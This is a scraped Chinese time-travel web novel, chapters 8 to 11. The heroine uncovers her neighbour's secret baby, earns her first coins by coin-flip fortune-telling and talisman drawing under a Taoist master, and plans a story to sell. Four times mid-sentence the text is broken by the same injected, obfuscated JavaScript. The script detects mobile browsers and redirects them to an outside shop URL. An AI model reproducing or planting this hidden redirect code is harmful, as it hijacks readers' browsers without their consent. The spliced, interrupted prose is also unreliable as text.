蹭了安娘子的两顿饭,饶是闻钰也没脸再吃白食,自觉地买了一篮子菜回到宁安巷。而安娘子自然也不会推脱,多做一人的饭菜而已,两人搭个伙,还能都省一些。 饭后回到各自的屋子,这次闻钰总算记得买蜡烛和火折子了,拿着蜡烛提开灯罩,她立刻便看懂了这灯的使用方式。于是又感叹起古人的智慧,这么一个小小的东西,就能改善无数人的生活。 就着烛光,闻钰从包袱里掏出一个薄薄的小册子。除去蜡烛和菜,她今天还带回来一样东西——一个话本子。 她去买菜的时候,发现有一家书铺进出的人特别多,就去凑了个热闹,得知这家书铺新想了个法子,只要两文钱就能借一本店里的书看。 昨日一早,店内就贴出了两文钱借书的告示,原还有人不信,也有人笑这店家傻,两文钱就能到手一本书,转手一卖都不止这个钱,谁还会来还书?这书铺早晚得关门。 这话一出,书铺中便有人不满起来,反驳道:“读书人自有铮铮傲骨,如何会做此等下作之事,借书本是店家为寒门学子所行的义举,可不要被某些黑心之人毁了才是。” 两人当场就吵了起来,各自的同伴也不相让,最后闹得店家出来解释,众人才知晓店家早有准备。 虽说是两文钱就能借书,但却是要付二十文钱的。借书人还需签字画押,一个月内将书归还,书铺便退还十八文钱,若未按时归还,这二十文便当作买书钱了。 就是有人要闹,店家拿着签字画押的证据去官府走一圈,也都是有理的。 众学子一听,立刻称赞店家想得周全,等众人回过神来,那说风凉话的几人早不知什么时候灰溜溜地走了。 一传十十传百,这家书铺从早热闹到晚,能借的书都被借得差不多了,闻钰去的时候只捞到这本薄薄的,一看就不受欢迎的话本子。 但这也够了,她本来也就是为了学一学古人怎么讲故事,顺便熟悉熟悉竖排繁体字。 书名叫做《春娇语》,闻钰坐在桌边,一页又一页地飞速扫着,不到十分钟就看了个大概。 她算是知道这本书为何会被剩下了,其实故事算不上太差,虽然讲的是老套的读书人与千金小姐的故事,但起承转合都有,是个完整的故事,就是这行文太过枯燥,简直像在用播报新闻的语气写小说,人物说话也文绉绉的,兴许是哪位读书人为了赚些笔墨钱才不得已写出了这个故事。 作者写得痛苦,读者看着也挺痛苦的。 但闻钰心情却不错,写成这样都能出话本子,那她就更不需要担心了。 闻钰从厨房里找来一个瓷碗,装了些水,重新翻开话本的第一页,用手蘸了水在桌上跟着写字。 时间不知不觉过去,直到火苗忽闪一下,闻钰才注意到蜡烛已经烧了一半。合上书,她站起身活动活动身体,又走到半开的窗边,遥遥望着高悬夜空的圆月,看来已经是十五了。 此时此刻她大概才明白为什么古代有那么多赏月的诗,又为何总是在月圆之时思念家人。 闻钰叹了口气,察觉困意上涌,便合上窗户,收拾一番吹灭了灯,舒服地躺进被子里。 只是这骤然安静下来,昨天半夜醒来的记忆又忽地浮现在脑海中。闻钰的困意一下子退了个干净,耳边的风声与虫鸣声都变得清晰可闻。 她闭上眼,用力地想要让自己入睡,但显然这只会适得其反,缠绵床榻半个时辰不到,闻钰放弃挣扎,又起来重新点了灯。 算了,反正这个时间在现代才是夜生活刚刚开始的时候呢,睡不着就睡不着吧,正巧她也能等着听一听究竟还会不会有鬼婴哭声。 实在无事可做,闻钰只好又接着读起了话本子。她看书时总是很专注,似乎就是一眨眼的功夫,蜡烛已燃烧到尽头。 许是这书实在太无聊,先前消散的困意又回来了些,闻钰正准备灭了蜡烛回到床上,就听那哭声又凭空出现了。 闻钰反应得快,几乎立刻就开了门冲出去,而哭声来自的方向,似乎……是安娘子的屋子? 即便闻钰这几日都努力克制,但此时此刻心里还是忍不住地发慌,她虽然相信科学,可她胆子小,也怕鬼啊。 哭声明明是从安娘子的屋里传出来的,她不可能听不见,旁人问起,她却都说没听见,难道是被那鬼威胁了,还是中了什么妖术? 安娘子待她那么好,闻钰怎么能见她陷入危险中,只犹豫了一秒,就硬着头皮上前敲响了她的房门,装作若无其事地问道:“巧娘,你睡了吗?” 屋里的人没有回话,可谁知那鬼婴哭声似乎更厉害了,闻钰害怕地缩了缩手,又咬着牙继续敲门:“巧娘!我有话要和你说。” 仍旧无人回应。 闻钰没了法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481191|201748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,退后一步,作势就要用力撞开门:“安娘子,我进来了!” 安巧的一声“不要”刚喊出来,却已经来不及阻止,闻钰撞开门进了屋子里,瞧见了好好站在屋内的安巧,以及她抱在怀中的襁褓。她的手里还捏着张帕子,却捂在了孩子的口鼻处。 眼见事情败露,安巧的手无力地垂下,没了帕子的遮掩,孩子嘹亮的哭声简直要穿透二人的耳膜,闻钰怔怔地望着面前的人,半晌才找回自己的声音:“这是……怎么回事?” 安巧捂着脸蹲下,泪水止不住地往下落,摇着头却一句话也说不出。怀中的孩子同样嚎啕大哭着,却并不能体会抱着自己的母亲此刻难平的心绪。 闻钰努力分辨了当下的情况,深吸一口气,走上前揽住安巧,轻拍着背安抚她:“没事了没事了,都会过去的,是我不好,不该擅自冲进来……” 安巧仍是摇着头,哽咽着道:“不是……不是你的错……都是我,是我自己走到今天这步的。” 闻钰虽然不知她发生了什么,但显然她是将所有的责任都揽到了自己身上,闻钰不知如何安慰,只默默陪伴在一旁。安巧虽然难过,但也无法放任孩子就这样哭下去,若是将街坊四邻都吵醒了,那才是无法挽回的结果。她顾不得擦掉自己脸上的泪,对着闻钰苦笑一下,哑着声音道:“我先将孩子哄睡……” 闻钰点头,就看她抱着孩子在屋内一圈又一圈走着,孩子很快就收了声,安巧轻轻的将孩子在床里侧放下,确认他再次安睡,才松了口气,看向闻钰,压低了声音:“去外面说吧。” 站在安静清幽的小院里,安巧抬头看着月亮,那双温柔似水的眼睛此刻蕴满了悲伤,沉默许久才开口:“我已经没有家人了。” 她的来历并不多么复杂,左右不过就是昔日里养尊处优、锦衣玉食的千金小姐,一朝落魄成了需要替人浆洗衣物才能过活的平凡人的故事。 这短短一句话便能说尽她的一生,可当家人都获罪,徒留她一人,那之后过的日子有多么艰辛,只有她自己知道。 她不甘心,更不明白当今圣上为何能如此轻易就将人全家定罪问了斩,所以她咽不下这口气,凭着这股劲儿,从最南边的抚州一路走到了京城。 她原以为这条路上最大的困难是填饱肚子,第二困难的才是路途遥远,可从前不知人间疾苦的她,如何识得人心险恶?她被人欺骗,被人侮辱,坚持走到了京城,刚入了城门,就倒在了路边。 醒来时她在医馆,得知自己已有三月的身孕时,她几乎要昏死过去。 她坚决不要这个孩子,可她在家人离世后大病一场,伤了根本,若不留下孩子,只怕连她自己的命都得搭进去。不得已,安巧只好留下了这个孩子。 可她一个未婚的小娘子,带着个奶娃娃,四处辗转都无法安顿下来,屋主家只要一瞧见她和孩子,就都不同意租给她了。于是在找到了阿四的时候,她刻意瞒下了孩子的事,这才得以搬进陈家后院。 9. 第 9 章 安巧搬进陈家的时候,孩子已经三四月大了,幸好这孩子并不爱哭闹,她找些能在家里做的活,也能看顾着些。只是孩子总半夜惊醒,虽说哄起来也快,但夜深人静之时,哭声难免传到别处,才传出了闹鬼一说。 而现在,孩子的事被人发现,她只怕又要无处可去了。 安巧垂着头,像做错了事的孩子,闻钰皱着眉,反问:“不就带着个孩子么,为什么都不让你住?” 没料到她会为自己说话,安巧有些惊讶,但还是回答:“我也不知……兴许是瞧我尚未嫁人却有了孩子,怕我不安分,惹出什么事来吧。” “这些人就是愚昧又迂腐!见到人有难处,不帮一把也就算了,还恶意揣测别人,真是太过分了!” 闻钰义愤填膺的模样瞧着比她自己还要生气,安巧有些想笑,却又觉得眼眶发酸,缓了缓才道:“多谢你替我说话。” “本来就是嘛。你一个人照顾这么小的孩子,还要赚钱养活自己,多厉害呀,换成我可做不到。这样艰难的日子你都撑过来了,以后肯定会越过越好的。” 这样直白的夸赞,安巧从未从任何人的嘴里听到过,原本忍住的泪水又一次溢出。自小十指不沾阳春水的小娘子,从前哪里见过衣服怎么洗,她不也是这样一点点学会了吗? 闻钰不知自己怎么又把人给说哭了,手忙脚乱地安抚着,想用别的话题转移她的注意力,一些未经大脑思考的话流水一样从嘴里冒出来:“孩子……对,孩子是男孩还是女孩?多大了?取名字了吗?叫什么?” 安巧见她手足无措的模样,破涕为笑,擦拭去了脸上的泪水,第一次认真和人说起自己的孩子:“是女孩,名字我还没想好,不过……” 她望向孩子正安睡的地方,弯了弯嘴角,“就叫她小望吧,安望……希望她能够平平安安长大成人,不必像我还要遭受这般磨难。” * 翌日一早,闻钰精神抖擞地从床上爬起来,昨晚她和安娘子聊了许久,藏着的心事说开了,二人的关系也亲近不少。 就是安娘子之前见她不会用草木灰洗衣服,猜测她是否也和自己一样家道中落,被闻钰模棱两可的几句胡诌给糊弄过去了。 她们可不一样,她只有奴役任劳任怨的洗衣机的份儿。 临出门前,闻钰拎上自己的小包袱,去安娘子屋里和躺在床上自顾自玩得正开心的小孩说了声再见,便高高兴兴上班去了。 清闲的早晨,闻钰练了整整两页纸的字,才换来神道长有些勉强的点头,允许她在记笔记的那张纸上接着往下写。 天地罗盘的教学继续,闻钰边听边记,仍是觉得云里雾里,索性笔一扔,丧气道:“我就不能只用摇卦吗?那多简单,这罗盘我是真学不明白,太复杂了,光是名字我都记不住,顶多就能给人看个指南针。” 神道长无奈摇头,倒也没继续逼迫她,想了想,说道:“那不如……你今日试一试摇卦?” “好啊,那我算什么卦呢?” 闻钰其实早就好奇那龟甲了,铜钱和罗盘瞧着都没什么特别的,唯有这龟甲她一直没敢碰,总觉得是什么厉害东西。 得了师父的允许,她伸手拿起龟甲仔细打量,黑乎乎的一个,手掌大小,上面隐约有些纹路,整个儿看起来被神道长盘得发亮。 “摇卦什么都可算,百无禁忌,你自个儿想一个问题就是。不过一个问题不要短时间内重复算,容易出岔子,算不准。” “那……我要问的问题,需要说出来吗?还是心里知道就可以?” 神道长悠哉地捻起一块从家中带来的糕点:“这些都不重要,心诚即可。” 闻钰点头,将三枚铜板放进龟甲中,一边摇着,一边在心里默念:我穿越到了这里,是好事还是坏事? 铜板叮叮当当落在桌子上——二阳一阴,平卦。 闻钰微微皱眉,这是不好也不坏的意思么? 她不信邪,又重新摇起了铜板,这一次她问的是:我还能回到现代吗? 闻钰松开手,桌上的铜板都换了个位置,却仍旧是平卦。她不大高兴了:“怎么都是平卦,这意思到底是能还是不能呀……” 神道长在一旁瞧着,见连着出了两个平卦,也有些惊奇,余光瞥见路过的阿四,道:“要不……你再给阿四也算上一卦,还算他今日运势。” 闻钰照着做了,无语地看着她摇出来的第三个平卦,简直都要怀疑是不是神道长在龟甲上动了什么手脚,怎么到了她手里就跟失灵了一样。 “不应该呀……”神道长面上也没了轻松的神色,皱着眉思索好一会儿,才开口,“也许是这些东西与你都没有缘分。” “从前我听师父说过,有一些卦师唯有找到有缘之物才能发挥出自身实力,或许你便是其中一人。” 缘分?这虚无缥缈的东西要怎么去找? 闻钰满头问号:“那什么样的东西才算有缘呢?” “你身上可有佩戴了多年的东西,或者格外珍视、珍重之物?” 闻钰茫然摇头,她又不像古代人,身上总是带着些玉佩、香囊、长命锁之类的东西,她穿过来的时候可是在睡觉啊!睡裙总不能用来占卜吧? 充电宝也不行,雨伞那更不行,薄荷糖——本就不剩几颗了,她自从到了古代更是一颗也舍不得吃。至于零钱包里的东西……闻钰眼睛一亮,避开神道长的目光,从包袱里费劲地掏出一枚硬币。 “这个怎么样?” 这硬币还是她高三毕业时,有一次去家门口的小超市买东西,忘带手机,超市老板找零退给她的,本来想着找个坐公交的机会花掉,却迟迟没能凑出两元的车票钱,导致这枚硬币一直放在零钱包里,跟随她到了大学毕业,现在甚至还一起来到了古代。 这一包袱现代工业品,可不就是她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481192|201748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在最珍视的东西么? 而且说来也巧,硬币和铜板,功效也都一样,都是钱,只是可惜只有一枚,但闻钰现在想不出有什么能比这枚硬币和她更有缘,又更适合用来算卦的了。 神道长接过她手里的硬币,仔细打量着上面的花纹和几个似懂非懂的字,问:“这是何物?” “……我家的人做着玩儿的,到我手里有四年了吧,一直没花——咳,送出去。这算是有缘了吗?” 神道长没回话,只是翻转着这枚小小硬币,思索着:“倒是和铜钱瞧着差不多,你只有这一个吗?” 闻钰:“对,没有第二个了。” “即便能用,但用处可能不如三枚那么大了。虽说卦象太多了会扰乱思绪,但太少了,却也不容易解读了。” 闻钰点头,这个她自然明白,三枚各自有正反,还能组成四种卦象,但只有一枚硬币的话,除了一正一反,哪里还能找出第三种答案? 她估计只能给人算些“是与不是”、“对与不对”这样二选一的问题了吧。早知道要穿越,她那天睡觉前就该弄盒塔罗牌放进包里,那一叠牌,可不比这枚小小的硬币好用? 但现在说什么都来不及了,闻钰看着落回她掌心的那枚硬币,直觉这一次应该能算出些什么,有些跃跃欲试道:“要不我先试试能不能用?” 神道长自然不会阻拦,但好一会儿都不见闻钰有动作,二人面面相觑,闻钰才尴尬道:“这只有一枚的,要怎么算?也是放进龟甲里做摇卦么?” “你若想,当然也可以如此。但这些方法本就没有定论,龟甲铜钱与天地罗盘只是常用之物而已,并非人人都必须这么做。虽然我用三枚铜钱,但也知道有人用五枚、八枚的。像我师父,路边的花草,天上的飞鸟,只要他想,什么都可以用来推算,全看卦师本人能从中读出什么,你怎么顺手便怎么来吧。” 师父的师父莫不是什么高级神棍?听起来很厉害的样子…… 闻钰正犹豫着,只见一微胖妇人走近,敲了敲桌子,将二人的注意都吸引过去,她才问:“神道长,还算卦么?” “哟,是周家娘子啊,”神道长立刻坐直了身子:“算的,算的。” 瞥见身旁的小徒弟,神道长眼珠一转,抬手向周娘子介绍道:“这是我新收的小徒弟,若由她来算,一次只需五文钱,娘子觉得如何?” 猝不及防地就被人给自己接了个活,闻钰瞪大了眼,连忙想要拒绝,她还没试过这硬币到底能不能用呢!神道长递给她一个安心的眼神,偏过头小声安抚:“别怕,我会和你一起算。” “新徒弟?”周娘子不甚信任的眼神落到闻钰身上,“不会算得不准吧?” “那不会,”神道长袖子一甩,极力夸赞自己的小徒弟,“我这徒弟,天赋比我都好呢,而且一次才五文钱而已,就算徒弟算不准,还有我这个师父呢,娘子怎么都不会亏。” 10. 第 10 章 “神道长从前给我算的倒是都准,你这小徒弟竟比你还厉害么?”周娘子有些动摇,将神道长的话在脑子里过了一遍,再看闻钰的目光都柔和了几分,笑道,“道长说的倒也在理……那这位小道长,便请你帮我算一卦吧。” 闻钰讪笑着应下,又看了眼神道长,发现对方不知什么时候,已经偷偷将龟甲和铜钱都收到了手里,又对她使了个眼色,示意她接着问周娘子。 闻钰搓了搓手,只好问道:“娘子想算什么卦?” “就算算……我家最近会不会有喜事?最好啊,能给我说个日子!” 闻钰握着硬币的手直冒冷汗,为难地看向神道长,这人要求这么精确,不得用什么天地罗盘的吗?怎么往日里来的人问的都是一些简单的,一轮到她就难度飙升呢! 她面色僵硬,周娘子自然也看出来了,立刻便垮了脸,对着神道长道:“怎么?你这徒弟到底是能不能算?” “能算,当然能算,她这就是第一次给别人算卦,紧张呢,我和她说两句就好。”神道长拉着人往旁边走了两步,低声交代,“她家啊,儿媳妇怀的第一胎就快生了,兴许就是来问男女的。我也用摇卦给她算一算,你别紧张,不会有问题,师父在这儿呢。” 虽说闻钰总觉得神道长不靠谱,但听他说出这句话时,她仍是松了口气。也是,在她师父的眼皮子底下,死马也能当成活马医,就没有他那张嘴圆不回来的话。 只是这算男女……她可真是一点也不想插手这样的事,不管她算对还是算错了,都有可能会给旁人带来无妄之灾。 闻钰跟在神道长身后回到摊子旁,犹豫片刻,在周娘子虎视眈眈、半信半疑的目光下,还是梗着脖子道:“娘子想问的事儿可否说详细些,这样才能算得准。” 周娘子的视线在师徒俩身上来回打转,琢磨一会儿,才开口:“成吧,那我就直说了。我家儿媳妇这胎已经过了产日,但迟迟没有动静,大夫也请过,产婆也出过招,说孩子大人都没问题,快十天过去了,但就是还没生。我就想算算,能不能平安生下孩子?” 闻钰心里的那块石头悄悄落了地,这一次不用神道长回答,她便主动答道:“好,我知道了。” 只是她本来还想借龟甲蹭点运气,但神道长也得一起算,那她就只剩下一枚硬币了。反正话已经到这儿了,她怎么都躲不过,闻钰心一横,将硬币搭在右手拇指的指甲上,轻轻一弹,向上抛起—— 说不定这现代的硬币,就得用现代人的方式算出来才最准呢! 三人眼睁睁瞧着那枚硬币从空中升起又坠落,擦过闻钰伸出的手,直直落到地上,骨碌碌又往路中间滚了几圈才停下。 闻钰脸上营业的微笑僵住了,这种时候接不到硬币,不是砸自己招牌吗? 好在她眼尖,看见朝上的那一面似乎是花,按照摇卦的卦象来看,字为阳,花为阴,三枚皆阴则是大吉,那她这只有一枚阴的,应该也是吉的意思吧? 眼见有人一脚就要踩到硬币上,闻钰连忙冲出去拦住人,捡回自己的宝贝硬币。 神道长也趁机摇了一卦出来,在周娘子回过头来的时候又立马收至桌下,见闻钰面上似有几分喜色,神道长便已经知道答案了,但他还是朝闻钰无声地做了一个“吉”的嘴型。 闻钰会意地朝他眨眨眼,将手里的硬币摊开递给周娘子瞧:“这卦好着呢,您瞧这花开得多好,这一胎肯定能平平安安生下来的,安心回家等着吧。” “哎哟,真的?”周娘子听了这话先是一喜,随后脸上的笑容却又添了两分担忧,“可刚才那——会不会算出来不准呀?” 硬币咕噜噜往外滚的画面似乎还在眼前,闻钰也有几分窘迫,“那要不,我再算一次?” 还没等周娘子回话,神道长便先制止道:“不可,还记得我和你说的吗,同样的卦,频繁再算就不准了。” 神道长又看向周娘子,安抚道:“周娘子安心归家去吧,这一卦,确是吉兆无误。” “当真?” 神道长信誓旦旦:“当真!” 周娘子面上的神情说不出是高兴还是忧虑,但仍是拿出五文钱放在桌上,一步三回头地归家去了。 “喏,”神道长抬了抬头,向闻钰示意那几枚铜板,“你算的第一卦,收着吧。” 抛个硬币,说两句好听话,第一笔钱就到手了,钱来得太简单,闻钰还有些不敢相信:“真的给我?” “不想要?那便当作……孝敬师父了吧。” 神道长说着就要伸手去拿,闻钰飞速将钱一把全抓进手里,神道长见她笑得跟花开了似的,轻哼一声收回手。 谁知周娘子走了没多远,又折返回来,闻钰见到她,连忙退后了一步,生怕她想要回那五文钱。神道长却似乎见怪不怪了,招呼道:“周娘子还有什么事?” “道长,平安符可还有?” “周娘子来得巧,还剩最后一个。”神道长从袖子里掏出一个用黄色纸张折成的小小三角,上面还有红色的图画,递给她,“五文一个。” 周娘子转忧为喜,拿起那平安符,放下钱就走了。 神道长面不改色地将自己的五文钱收好,见闻钰盯着自己不说话,开口:“想问什么就问,盯着我干什么?” “那个平安符上面画的什么?该不会是你乱画一通,就拿出来当宝贝卖吧?” 神道长拿笔敲了一下她脑袋:“说什么胡话呢,你师父我会是那种江湖骗子么?这要是叫旁人听见了,我们师徒俩还靠什么吃饭。” 说完他又从袖子里掏了一个平安符出来:“你自己拆开看看就知道上面画的什么了。” “……”闻钰揉揉脑袋,“还说你不骗人,不是说周娘子那是最后一个么。” “没瞧见周娘子听见我这样说安心了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481193|201748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不少么,”神道长往后一靠,不顾形象地翘起了腿,“让她觉得自己运气不错而已,这样无伤大雅的好听话,说着大家都高兴,有什么不好。” 太有道理导致她无法反驳,闻钰闭了嘴,拆开平安符,上面弯弯绕绕画着一些像字又不像字的符号,乍一看还真挺唬人。 “对了,你手上那个还真是最后一个,拆开了记得原样折回去啊。”神道长又不知从哪掏出了一本书、一叠黄纸和朱砂,吩咐道,“既然你好奇,正好就先学画这个吧,对着书上画就行了,除了保平安的,姻缘、学业什么的也都画几个。” 这语气有那么几分欠揍,闻钰忍住了想要打他的冲动,下一秒却又听见神道长说:“以后卖出去一个就分你一文钱。” 闻钰一下就来精神了,为自己争取道:“两文!” “纸和朱砂都是我的,一文。” “……好吧,那就一文。” 神道长争赢了,却仍是摇头,大声地叹了口气:“教会徒弟,饿死师父啊。” 闻钰轻哼一声,却是不和他争了。 她知道神道长这是为了她好,他本可以自己算周娘子这卦,分她五文钱,这样他自己还能多赚五文呢,可他为了让旁人都知道自己这个徒弟,宁愿少赚那么些钱,也要帮她打出名气。 还有这符,没人算卦的时间多着,他自己尽可以画得又快又好,却非要让她来,也是为了能多分她一些钱吧。 她老实低头看书,书的封面上写着《符咒大全》,看着就像什么盗版书摊贩子都不会卖的那种怪东西,闻钰险些没笑出声。 翻开第一页就是平安符,书页正中就是符的图案,还特地标注出了从何处起笔又从何处结束,下方三个小字简洁明了地写着符的功用——保平安。 这符咒大全好几十页呢,闻钰往后翻了翻,不仅有神道长提到的姻缘和学业的,甚至还有求子、镇宅、招财、转运等等,简直应有尽有。 闻钰看得眼花缭乱,心想着一会儿要不给自己画个招财的吧,大不了就付师父五文钱,就当交学费了。 她翻回平安符的那一页,在先前用来练字的废纸上学着画符的走向,一边故作不经意地问:“师父,这符真有用吗?” 神道长抚着胡须,半眯着眼,感慨道:“有的人啊,就算听了好话也不会全信,觉得虚无缥缈,非得有点东西捏在手里才安心。我们也不像什么香火旺盛的寺庙里的得道高僧,人家说话有分量,能让人信服。反正还能多赚几个铜板,求符的人也能换一个心安,何乐而不为呢。” 闻钰想要给自己画个招财符的心立刻就死了,她算是明白了,她这师父,简直就是拿捏了人心的心理学大师啊。 神道长并非完全放任她自学,只是见她聪明,跟着画也有模有样的,便没多嘴说什么,只是目光一移,瞧见她脸上无语的表情,咧开嘴笑了一声:“你还真信了啊?” 11. 第 11 章 闻钰:? “难道不是吗?!” 神道长继续摇头,又叹了一口气:“在我这儿是这样,可我师父和师兄师姐们写的是真有用啊……” 见神道长突然沉默着望向远方,似乎正在追忆往事,闻钰顿时有些哭笑不得。这人也三十多岁了,但提起师兄师姐们时还真流露出了几分孺慕之情,看来师门间的感情还是不错的。 在废纸上练得差不多了,闻钰换了一支笔,蘸上朱砂,在黄纸上画下了第一个平安符,和书上的对比了半天,闻钰满意点头,拿给神道长看:“如何?我感觉挺像的了,师父瞧瞧,我画的符能有用吗?” 神道长从神游中回过神,左看一眼,右看一眼:“符画得不错……”随后脸上却不甚明显地露出几分心虚之色,“但有没有用……咳,为师还真看不出。” 就说他不靠谱! 闻钰这下是彻底死了学招财符的心,学着神道长那个符的折法,将自己的这张也折成了一个三角,又老实地继续画下一张。 一张就能赚一文钱呢,她可得多画点。靠符没有用,招财还得靠自己。 * 第一笔钱来得太快又太轻松,闻钰差点还以为这行的生意真这么好做呢,结果连着几天都没什么人来算卦,大多都还因为第一次见她,又年纪轻轻,不信任她,只要神道长给算。她也算是亲身体会到神道长为何要扮老了。 但好在她撇下面子,努力揣摩每个人算卦时的神色,只要发现对方有一丝一毫的动摇,就大力推销适合对方的符,虽然不是每次都能成功卖出去,但符的销量比起从前是大大提高,她察言观色的能力也大幅提升,甚至还有从旁人那听说了这符,特意来求的人。 这效果是神道长都没料到的,连声道她果然有天赋。几天下来,闻钰也到手了近四十文。 反正这里也没人认识她,丢不丢脸的,她已经不在乎了。 现在她都能花钱买刘婶的包子吃了,但刘婶非要便宜些卖她,闻钰本来还拒绝,可刘婶就在隔壁摊子,来得比他们师徒俩早,走得也比他们晚,在旁边什么瞧不见,知道闻钰现在还赚不到几个钱,便坚持道:“等你算一卦也收十文的时候,你想便宜买我也不卖了!” 闻钰愣了愣,这才笑着应下了,偶尔还会给安巧带回去几个,隔天一早两人热一热就能吃。 只是这个时候还没有冰箱,两个女孩子饭量也都不大,吃不了多少,闻钰有一日买菜没注意,安巧瞧见了她提回来的菜篮子,直呼太多了,于是那两日的晚饭都多了一个菜。 这晚饱餐一顿,闻钰收拾完碗筷回到屋里,乘着窗外还有些晚霞余晖,掏出零钱袋,一枚一枚地数着钱。 之前神道长借给她的一贯钱花掉了一大半,这几天虽然开始挣钱了,但每天吃饭也是要花钱的,加加减减算下来,还剩不到四百文,连下个月的租钱都不够付的。 如果剩下半个多月算命摊的生意还这样,也只勉强够她的饭钱而已。 她有些烦躁地揉着头发,看来想要靠这行吃饭暂时还是有点难,而且她总不能一辈子给人算命吧,写话本子的事还是得早些开始打算。 她现在的钱虽然买不起全套的笔墨纸砚,但买纸笔还是够的,墨和砚台……明天找神道长借一借,她就借回来晚上用,白天就带回去还给他,应该不耽误算命摊,而且她卖出去那么多符,她师父应该不至于连一点点墨都舍不得分给她吧,大不了就给点钱孝敬一下。 就是这钱都是从下月租钱里挪的,她得在这个月结束前把话本写出来,虽然她之前忘记问问书铺收话本子都什么价格,但应该一两百文还是能有的吧。 她今天也问过神道长了,说她这五文一卦多少也得持续个三五月的,得大家见到她都脸熟了,她算得也上手了才能加价,不然只会更没人愿意要她给算了,为了长远着想,这几个月都是得熬的。 而话本不同,她毕竟在现代就是这个职业,自己的实力多少还是知道的,只要写出一本来,她的日子就能好过些了,若卖得好了,以后也能要更高的价。若这个月实在完不成,她也只能请安巧帮帮忙,帮她也找些能在家里做的活了。 算是将自己以后的出路想明白了,闻钰叹了口气,将一桌子的铜板统统收回零钱包里,走到窗边,盯着院子里开着的花,放空大脑。 她的话本子写个什么题材好呢? 有些日子没码字了,但早已习惯这个行为的大脑,一旦按下开关便开始不断往外跳着灵感—— 像她借的那本书一样,写个稳妥的老套故事? 她也能写书生与千金小姐。她脑子里无数种矛盾与纠葛的剧情能随时拿出来用,给男女主角安排个三五百回的情节都没问题,还能分出个上中下册,设计两个大反转,都在即将发生精彩剧情的时候停住,吊足读者胃口。 再发散一下,一身白衣与高塔的画面浮现在脑海中……她还能写成书生与妖女,叠加虐恋的BE美学,比HE更让人上头,保管让读者哭个三天三夜。 但这样的故事虽然稳妥,却终归太老套了,她之前还去和书铺老板放狠话呢,这样的故事估计很难吸引人注意,她还是得想些新鲜的,最好是这里的人都没写过的题材,让所有人都好奇到想去买一本来读一读。 国内网文的套路或许都还是太常见了,而国外流行的……那当然是超级英雄拯救世界啊。 闻钰点点头,对自己突然拐弯的思路很满意。 英雄的故事谁不爱看?只是设定的背景不能太离谱,让古代人都看不懂,不能写现代,更不能写什么科幻星际。那就得写古代的英雄,是百战不败的将军?还是尝百草的神医? 感觉似乎又差了些什么,都还是不够新鲜。 闻钰甚少涉略古代小说,这会儿便开始头疼起来,因为历史知识过于缺乏,她现在甚至想不出还有什么在古代可以和“拯救世界”沾上边的职业。 冥思苦想好一会儿,直到窗外的天空彻底暗了下来,她都没能想出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481194|201748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个合适的题材。罢了,想不出新书写什么也不是一次两次了,本来灵感这东西就是强求不来的,明天她早些起来,先去书铺逛一逛吧。 古人说得好,知己知彼百战百胜。她想要和古代的小说作者们分一杯羹,那就得多了解了解他们都写些什么故事。 反正她不买不借,只是翻两页看看题材而已,逛逛又不花钱。 点上昏黄的灯,闻钰将借来的《春娇语》翻开,继续蘸水练字。 * 翌日一早,天亮得比平常都要晚些,天上厚厚的云层堆积,阴沉沉的,瞧着是要下雨的样子。 安巧起得早,闻钰推门出来的时候,她已经将晾在院内的衣服都收起来了。而就闻钰收拾洗漱完的这一会儿功夫,雨就淅淅沥沥地落下来了,这还是她来到古代以后第一次见到下雨天。 站在屋檐下看雨,闻钰想着卖伞的张娘子今日肯定高兴极了,就连她一会儿也得去找她买伞了,旁边屋子的门合上又打开,安巧拿了伞出来递给她:“钰娘没伞吧?拿我的去用吧,我等晚些雨停了再出门。” “不用不用,雨不大,我正准备去买伞呢,路也不远,你留着自己用吧,今日不是还得把衣服送回去么。” 安巧摆手:“我也用不着,我这衣服好不容易晾干,可不能淋了雨,下雨天都不送衣服的。你要买伞那也得打着伞去吧,晚些得空再还给我就是了,别淋雨着凉了。” 